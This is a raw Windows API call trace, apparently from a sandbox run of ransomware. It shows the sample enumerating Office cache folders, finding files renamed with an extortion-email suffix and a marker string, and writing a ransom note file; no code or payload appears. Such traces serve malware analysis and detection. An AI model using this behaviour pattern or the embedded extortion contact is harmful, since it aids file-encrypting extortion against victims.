[0116.614] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0x896fdd00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1e6700, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~1.COM")) returned 1
[0116.615] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0116.615] StrStrIW (lpFirst="Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0116.615] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0x896fdd00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x11b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~2.COM")) returned 1
[0116.615] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0116.616] StrStrIW (lpFirst="Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0116.616] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0x89723e60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x2aa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OSEEXE~1.COM")) returned 1
[0116.618] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 116
[0116.619] StrStrIW (lpFirst="ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0116.619] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0x89723e60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x709868, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OSETUP~1.COM")) returned 1
[0116.619] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0116.619] StrStrIW (lpFirst="osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0116.619] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0x89749fc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x228e05c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OWOW32~1.COM")) returned 1
[0116.620] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0116.620] StrStrIW (lpFirst="OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0116.620] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0x89749fc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x165610, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PIDGEN~1.COM")) returned 1
[0116.620] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0116.620] StrStrIW (lpFirst="PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0116.626] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0x8a0cf7c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xaed3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PKEYCO~1.COM")) returned 1
[0116.628] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 133
[0116.628] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0116.628] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0x8a0f5920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xa4c500, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PRJPRO~1.COM")) returned 1
[0116.628] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0116.628] StrStrIW (lpFirst="PrjProrWW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0116.628] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0x8a0f5920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1a15, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PRJPRO~2.COM")) returned 1
[0116.630] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0116.630] StrStrIW (lpFirst="PrjProrWW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0116.639] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0x8a0f5920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x9b6bb9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PRJPRR~1.COM")) returned 1
[0116.639] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0116.639] StrStrIW (lpFirst="PrjPrrWW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0116.639] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0x8a11ba80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x150678, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPE~1.COM")) returned 1
[0116.640] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0116.640] StrStrIW (lpFirst="setup.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0117.004] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0x8a11ba80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x422b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0117.004] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0117.004] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0117.004] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0x8a11ba80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x422b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0117.005] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0117.005] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0117.217] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0117.218] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0117.218] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0117.219] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0117.219] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0117.219] CloseHandle (hObject=0x10c) returned 1
[0117.219] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0117.219] GetProcessHeap () returned 0x810000
[0117.219] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0117.219] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8a83fc80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8a83fc80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1
[0117.219] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C") returned 66
[0117.219] GetProcessHeap () returned 0x810000
[0117.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0117.219] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*") returned 68
[0117.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8a83fc80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8a83fc80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0117.252] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.") returned 68
[0117.252] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0117.252] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8a83fc80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8a83fc80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.252] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..") returned 69
[0117.252] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0117.252] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x8a141be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1e6700, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~1.COM")) returned 1
[0117.252] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0117.252] StrStrIW (lpFirst="Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0117.252] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x8a4f9e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x11b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~2.COM")) returned 1
[0117.252] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0117.252] StrStrIW (lpFirst="Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0117.252] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x8a7815a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x2aa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OSEEXE~1.COM")) returned 1
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 116
[0117.253] StrStrIW (lpFirst="ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0117.253] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x8a7a7700, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x709868, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OSETUP~1.COM")) returned 1
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0117.253] StrStrIW (lpFirst="osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0117.253] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x8a7a7700, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x228e05c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OWOW32~1.COM")) returned 1
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0117.253] StrStrIW (lpFirst="OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0117.253] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x8a7cd860, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x165610, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PIDGEN~1.COM")) returned 1
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0117.253] StrStrIW (lpFirst="PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0117.253] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x8a83fc80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xaed3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PKEYCO~1.COM")) returned 1
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 133
[0117.253] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0117.253] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76
[0117.253] StrStrIW (lpFirst="setup.exe", lpSrch="SDfghjkl") returned 0x0
